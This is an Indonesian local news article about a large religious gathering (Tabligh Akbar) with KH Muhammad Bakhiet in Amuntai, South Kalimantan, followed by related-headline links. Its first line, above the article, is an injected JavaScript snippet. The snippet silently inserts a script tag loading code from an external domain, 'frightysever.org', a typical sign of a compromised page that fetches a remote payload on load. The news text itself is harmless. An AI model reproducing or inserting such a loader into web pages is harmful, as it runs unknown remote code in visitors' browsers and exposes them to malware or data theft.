(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
AMUNTAI, Meski sempat diguyur hujan sejak sore hari, namun tidak menyurutkan antusiasme ribuan warga yang menghadiri Tabligh Akbar bersama dengan ulama kharismatik KH Muhammad Bakhiet (Guru Bakhiet) di ruang induk mesjid raya At Takwa Amuntai, Rabu (15/11) malam.
Acara yang digelar oleh pemerintah daerah Kabupaten Hulu Sungai Utara (HSU) dihadiri oleh ribuan jamaah yang berbondong-bondong datang dari berbagai daerah sejak tiba waktu magrib. Baik itu jamaah yang berasal dari kabupaten HSU sendiri maupun dari luar kabupaten.
Hal ini memang wajar karena Guru Bakhiet yang akrap sapaannya oleh masyarakat Kalimantan Selatan khususnya Banua Enam merupakan Pimpinan Ponpes dan Majelis Dzikir wata’lim Nurul Muhibbin Barabai Hulu Sungai Tengah (HST).
Dalam acara tersebut, Bupati H Abdul Wahid HK menyampaikan terimakasih atas kehadiran guru Bakhiet yang telah mengisi acara Tabligh Akbar. Mengingat acara tersebut telah sejak lama direncanakan.
“Karena berhubung bertepatan dengan hari Rabu, bulan terakhir Syafar, diharapkan agar seluruh jamaah dan masyarakat kita Kabupaten Hulu Sungai Utara mendapatkan keselamatan, keberkahan, kesehatan serta mendapatkan rizki yang luas dan dapat memperkuat keimanan dan ketakwaan kepada Allah SWT,” harap Wahid.
Sementara itu, tabligh akbar diisi dengan pembacaan Maulid Habsy dan do’a bersama, serta tausiah oleh KH Muhammad Bakhiet. Dalam tausiahnya, Guru Bakhiet mengingatkan untuk selalu bersyukur atas nikmat Allah, selalu mengingat Allah, meneladani Rasulullah SAW, melaksanakan perintah-Nya serta menjauhi larangan-Nya.
Guru Bakhiet juga menyampaikan seputar dosa-dosa yang rentan dilakukan oleh manusia. Baik dosa kecil maupun dosa besar, oleh karena itu, ia mengingatkan untuk selalu bertaubat kepada Allah SWT dan mengerjakan sholat lima waktu.
“Karena Sholat lima waktu yang khusuk akan menghapuskan dosa-dosa kecil. Di antara waktu ke waktu sholat wajib dari sholat subuh ke Zuhur, zhuhur ke asyar, asyar ke magrib dan magrib ke sholat isya,” katanya.
Tampak hadir dalam acara ini ketua DPRD HSU H. Syahrujani, Wakil Bupati HSU H. Husairi Abdi, Ketua Majelis Ulama Inddonesia (MUI) HSU KH Said Masrawan, para habaib dan ulama, sejumlah pejabat pemerintah kabupaten HSU yang semuanya berbaur bersama jama’ah mengikuti seluruh rangkaian acara tablik akbar. (kominfo/dew)
KANALKALIMANTAN.COM, BANJARBARU - Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalimantan Selatan (Kalsel) mengungkap sejumlah kasus… Read More
KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More
KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More
KANALKALIMANTAN.COM, BANJARBARU – Sejumlah Tempat Pemungutan Suara (TPS) di Kota Banjarbaru masuk pemetaan potensi kerawanan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kurang satu pekan menjelang hari pencoblosan Pilkada Serentak 2024, Komisi Pemilihan Umum… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah kios pedagang di pasar tradisional A Yani Banjarmasin hangus akibat kebakaran.… Read More
This website uses cookies.